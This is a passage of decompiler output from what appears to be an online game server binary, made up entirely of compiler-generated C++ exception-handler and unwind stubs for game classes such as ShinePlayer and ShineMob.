__CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005967C0) -------------------------------------------------------- void __usercall _L150228(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (005967C8) -------------------------------------------------------- void __usercall _L150229(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 48)); } //----- (005967D0) -------------------------------------------------------- void __usercall _L150230(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 60)); } //----- (005967D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ReflectionDamage_ShineMobileObject_ShineObjectClass__UAEXHPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005967F0) -------------------------------------------------------- void __usercall _L157849(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005967F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Immortal_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596810) -------------------------------------------------------- void __usercall _L157875(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596818) -------------------------------------------------------- void __usercall _L157876(int a1) { AxialListDeathAura::_AxialListDeathAura((AxialListDeathAura *)(a1 - 20)); } //----- (00596820) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KillAllMob_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596830) -------------------------------------------------------- void __usercall _L160753_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596838) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SendAutoPickToClient_ShinePlayer_ShineObjectClass__QAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596850) -------------------------------------------------------- void __usercall _L160918(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00596858) -------------------------------------------------------- void __usercall _L160919(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (00596860) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GetEmptyItemInventoryCount_ShinePlayer_ShineObjectClass__QAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596870) -------------------------------------------------------- void __usercall _L161488_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596878) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHARSAVE_UI_STATE_SAVE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596890) -------------------------------------------------------- void __usercall _L162272(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (0059689B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SetCaptivate_ShinePlayer_ShineObjectClass__UAEX_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005968B0) -------------------------------------------------------- void __usercall _L164227(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (005968B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xran___vector_UListUp_ShineObjectClass__V__allocator_UListUp_ShineObjectClass___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005968D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UListUp_ShineObjectClass__V__allocator_UListUp_ShineObjectClass___std___std__IAEXViterator_12_IABUListUp_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005968E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UListUp_ShineObjectClass__V__allocator_UListUp_ShineObjectClass___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005968F0) -------------------------------------------------------- void __usercall _L164861(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (005968F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____ErrorSendPlayer_UPROTO_NC_CHAR_CLIENT_AUTO_PICK_ACK____YA_NPAVShineObject_ShineObjectClass__HPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596910) -------------------------------------------------------- void __usercall _L165370(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (00596926) -------------------------------------------------------- void __usercall _L165372(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 184)); } //----- (00596931) -------------------------------------------------------- void __usercall _L165373(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (00596950) -------------------------------------------------------- void __usercall _L164373(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596958) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cfs_Routine_CeaseFireSender__QAEXPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596970) -------------------------------------------------------- void __usercall _L166984(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059697B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____sp_SmallItemDelete_UItemInform_ActionItem___ShinePlayer_ShineObjectClass__QAEXPAV__ItemInventorySmallCell_UItemInform_ActionItem____HHPAUShineDateTime___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596990) -------------------------------------------------------- void __usercall _L165737_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0059699B) -------------------------------------------------------- void __usercall _L165738_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (005969A6) -------------------------------------------------------- void __usercall _L165739_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (005969C0) -------------------------------------------------------- void __usercall _L166101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (005969C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__almfd_ApplyDamage_AxialListMagicFieldDamage__QAEXPBUSkillDataIndex_SkillDataBox__PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005969E0) -------------------------------------------------------- void __usercall _L166225(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 436)); } //----- (005969EB) -------------------------------------------------------- void __usercall _L166226(int a1) { AxialListMagicFieldDamage::_AxialListMagicFieldDamage((AxialListMagicFieldDamage *)(a1 - 432)); } //----- (005969F6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineMagicField_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596A00) -------------------------------------------------------- void __usercall _L166360(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00596A08) -------------------------------------------------------- void __usercall _L166361(int a1) { AxialListRescueRequest::_AxialListRescueRequest((AxialListRescueRequest *)(a1 - 36)); } //----- (00596A10) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_Scream4Rescue_ShineMob_ShineObjectClass__QAEXPAVShineObject_2_HHE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596A20) -------------------------------------------------------- void __usercall _L166576(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00596A28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_RunInFear_ShineMobileObject_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596A40) -------------------------------------------------------- void __usercall _L166658(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596A48) -------------------------------------------------------- void __usercall _L166659(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596A50) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_MoveByServer_ShineMobileObject_ShineObjectClass__UAEXPAUSHINE_XY_TYPE__HHW4MMState_MoveManager__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596A60) -------------------------------------------------------- void __usercall _L166836(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (00596A6B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____sp_SmallItemActivCheck_UItemInform_ActionItem___ShinePlayer_ShineObjectClass__QAEXPAV__ItemSmallBag_UItemInform_ActionItem____H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596A80) -------------------------------------------------------- void __usercall _L167353(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596A88) -------------------------------------------------------- void __usercall _L167354_0(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 32)); } //----- (00596A90) -------------------------------------------------------- void __usercall _L167355(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596A98) -------------------------------------------------------- void __usercall _L167356(int a1) { NeighborhoodChecker::_NeighborhoodChecker((NeighborhoodChecker *)(a1 - 24)); } //----- (00596AA0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineNPC_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596AB0) -------------------------------------------------------- void __usercall _L167459(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596AB8) -------------------------------------------------------- void __usercall _L167460(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 20)); } //----- (00596AC0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineDropItem_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596AD0) -------------------------------------------------------- void __usercall _L167656(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00596ADB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_DuringRecover_ShineMob_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596AF0) -------------------------------------------------------- void __usercall _L168128(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00596AF8) -------------------------------------------------------- void __usercall _L168129(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 96)); } //----- (00596B00) -------------------------------------------------------- void __usercall _L168130(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 28)); } //----- (00596B08) -------------------------------------------------------- void __usercall _L168142(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (00596B10) -------------------------------------------------------- void __usercall _L168143(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00596B18) -------------------------------------------------------- void __usercall _L168144(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00596B20) -------------------------------------------------------- void __usercall _L168137(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00596B28) -------------------------------------------------------- void __usercall _L168138(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00596B30) -------------------------------------------------------- void __usercall _L168139(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00596B38) -------------------------------------------------------- void __usercall _L168140(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00596B40) -------------------------------------------------------- void __usercall _L168131(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00596B48) -------------------------------------------------------- void __usercall _L168132(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00596B50) -------------------------------------------------------- void __usercall _L168133(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00596B58) -------------------------------------------------------- void __usercall _L168134(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00596B60) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShinePlayer_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596B70) -------------------------------------------------------- void __usercall _L168542(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00596B78) -------------------------------------------------------- void __usercall _L168576(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00596B80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_DuringBattle_ShineMob_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596B90) -------------------------------------------------------- void __usercall _L168881(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596B98) -------------------------------------------------------- void __usercall _L168882(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 32)); } //----- (00596BA0) -------------------------------------------------------- void __usercall _L168883_0(int a1) { NeighborhoodChecker::_NeighborhoodChecker((NeighborhoodChecker *)(a1 - 24)); } //----- (00596BA8) -------------------------------------------------------- void __usercall _L168884(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596BB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineMob_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596BC0) -------------------------------------------------------- void __usercall _L169928(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00596BC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xran___vector_PAVRoutionInterface__V__allocator_PAVRoutionInterface___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596BE0) -------------------------------------------------------- void __usercall _L170207(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596BE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineAxialFlag_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596C00) -------------------------------------------------------- void __usercall _L158732(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596C08) -------------------------------------------------------- void __usercall _L158733(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596C10) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_BroadcastGuildAcademyInfo_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596C20) -------------------------------------------------------- void __usercall _L158789(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596C28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CanUseItemCheck_ByTable_ShinePlayer_ShineObjectClass__QAEHW4UseEffectType___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596C40) -------------------------------------------------------- void __usercall _L163776(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00596C48) -------------------------------------------------------- void __usercall _L163777(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 36)); } //----- (00596C50) -------------------------------------------------------- void __usercall _L163778(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596C58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_MH_FurnitureEndureUpdate_ShinePlayer_ShineObjectClass__UAEGPAUPROTO_NC_ITEMDB_FURNITURE_ENDURE_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596C70) -------------------------------------------------------- void __usercall _L163967(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 152)); } //----- (00596C7B) -------------------------------------------------------- void __usercall _L163968(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 148)); } //----- (00596C90) -------------------------------------------------------- void __usercall _L164202(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00596C98) -------------------------------------------------------- void __usercall _L164204(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596CA0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596CB0) -------------------------------------------------------- void __usercall _L164463(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00596CB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_EXIT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596CD0) -------------------------------------------------------- void __usercall _L165247(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (00596CDB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596CF0) -------------------------------------------------------- void __usercall _L165611_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (00596CFB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596D10) -------------------------------------------------------- void __usercall _L166023(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596D18) -------------------------------------------------------- void __usercall _L166024(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596D20) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596D30) -------------------------------------------------------- void __usercall _L166896_1(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596D38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Schedule_BuildMiniHouse_ShinePlayer_ShineObjectClass__AAE_AW4TS_ReturnType_TimeScheduler_12_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596D50) -------------------------------------------------------- void __usercall _L167729(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 224)); } //----- (00596D5B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_BUILDING_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596D70) -------------------------------------------------------- void __usercall _L167825(int a1) { Observer::_Observer((Observer *)(a1 - 28)); } //----- (00596D78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__hasObserver_ShinePlayer_ShineObjectClass__UAE_NPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596D90) -------------------------------------------------------- void __usercall _L170354(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00596D98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___deque_UNormalAttackDamageElement_NormalAttackDamageDelay__V__allocator_UNormalAttackDamageElement_NormalAttackDamageDelay___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596DB0) -------------------------------------------------------- void __usercall _L171973(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596DB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nadt_PushBack_NormalAttackDamageTick_NormalAttackDamageDelay__QAEXHPAVShineObject_ShineObjectClass__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596DD0) -------------------------------------------------------- void __usercall _L172233(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596DD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__registerObsersver_ShinePlayer_ShineObjectClass__UAEXAAVObserver___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596DF0) -------------------------------------------------------- void __usercall _L172277(int a1) { NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick(*(NormalAttackDamageDelay::NormalAttackDamageTick **)(a1 - 32)); } //----- (00596DF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0NormalAttackDamageTick_NormalAttackDamageDelay__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596E10) -------------------------------------------------------- void __usercall _L172538(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00596E18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nadt_Clear_NormalAttackDamageTick_NormalAttackDamageDelay__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596E30) -------------------------------------------------------- void __usercall _L158220(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596E38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596E50) -------------------------------------------------------- void __usercall _L163137(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (00596E70) -------------------------------------------------------- void __usercall _L170059(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596E78) -------------------------------------------------------- void __usercall _L170060(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596E80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Blast_Trap_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE__PAUSKILL_EMPOWER__PBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596E90) -------------------------------------------------------- void __usercall _L163884(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596E98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl 